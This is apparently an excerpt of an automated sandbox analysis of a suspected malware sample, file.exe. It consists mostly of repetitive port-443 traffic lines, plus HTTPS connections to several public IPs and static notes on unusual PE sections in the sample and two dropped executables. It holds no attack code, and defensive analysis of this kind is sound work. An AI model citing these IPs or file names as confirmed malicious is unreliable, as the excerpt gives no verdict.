Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025

Source: unknown	HTTPS traffic detected: 20.190.147.7:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.7:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.36.55:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.36.55:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.36.55:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.36.55:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.234.120.54:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:50100 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.240:443 -> 192.168.2.6:50118 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: DocumentsFBGIDHCAAK.exe.0.dr	Static PE information: section name:
